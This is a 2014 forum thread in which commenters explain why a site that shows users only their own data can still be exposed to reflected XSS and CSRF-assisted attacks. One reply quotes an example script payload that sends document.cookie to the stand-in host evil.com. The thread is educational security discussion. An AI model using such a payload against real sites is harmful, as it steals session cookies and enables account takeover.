News for hackers. Stuff that matters.
Re:Google's XSS game by laurencei on Thursday May 29, 2014 @07:57AM (#7815741)
I asked this question once on SO and never really got a "great" answer I was after.

If my site will only ever allow users to see their own submitted data, and never ever data another user has submitted (i.e. no general 'posts' etc) - then is there actually a XSS risk on my site?

So I'm curious if an attacker can gain anything by looking at their own XSS attack?

http://stackoverflow.com/q/10265624/1317935

Re:Google's XSS game by blahpro on Thursday May 29, 2014 @08:08AM (#7815776)
Yes. If you had an XSS vulnerability via a GET querystring parameter, an attacker could encourage a victim to visit a URL which exploited the vulnerability (or, say, iframed the URL in another page which they got the victim to visit), then the attacker could, say steal the user's auth cookie with something like <script>(new Image).src = "http://evil.com/stolencookie=" + document.cookie;</script>.
Re:Google's XSS game by jerf on Thursday May 29, 2014 @08:14AM (#7815805)
POSTs can be forged too, if another vulnerable site permits Javascript on their domain accidentally (among other ways, but that's the big one).
Re:Google's XSS game by qu4z-2 on Friday May 30, 2014 @01:23AM (#7820421)
Isn't that CSRF, though?
Re:Google's XSS game by smsm42 on Friday May 30, 2014 @04:52AM (#7820859)
CSRF is what allows you to post. XSS is what happens after it is posted.
Re:Google's XSS game by danielweber on Thursday May 29, 2014 @08:07AM (#7815772)
If you missed something else, like a CSRF attack, an attacker could get you to submit an XSS request that sends your cookies to him.

There are other defenses against that, like having HttpOnly set on your cookies. Once you decide to let one particular thing through, though, you've lost defense in depth.

Re:Google's XSS game by meowface on Thursday May 29, 2014 @08:40AM (#7815895)
You will be vulnerable to reflected XSS but not persistent XSS attacks.

Persistent attacks are generally considered to be more dangerous, but reflected attacks are still quite bad.

Re:Google's XSS game by nmjenkins on Thursday May 29, 2014 @09:31AM (#7816097)
Do you have CSRF protection on login? If not, an attacker can add an XSS attack to their own account, then log the victim into the attacker's account by submitting a cross-site post request with their username and password. This could potentially then read data from any other accounts the victim is logged in to at the same time. If you don't support multiple simultaneous logins, it could still allow the attacker to generate a phishing page, at your URL, which sent them back any data the user entered.
Re:Google's XSS game by wdmeldon on Thursday May 29, 2014 @08:58AM (#7815973)
I think the real answer to this one is not really. Most of the possible attacks are either unrealistic or only possible if you're doing something stupid to begin with.

That said, there is still no excuse to trust user input. Always protect against XSS like you always protect against SQL injection.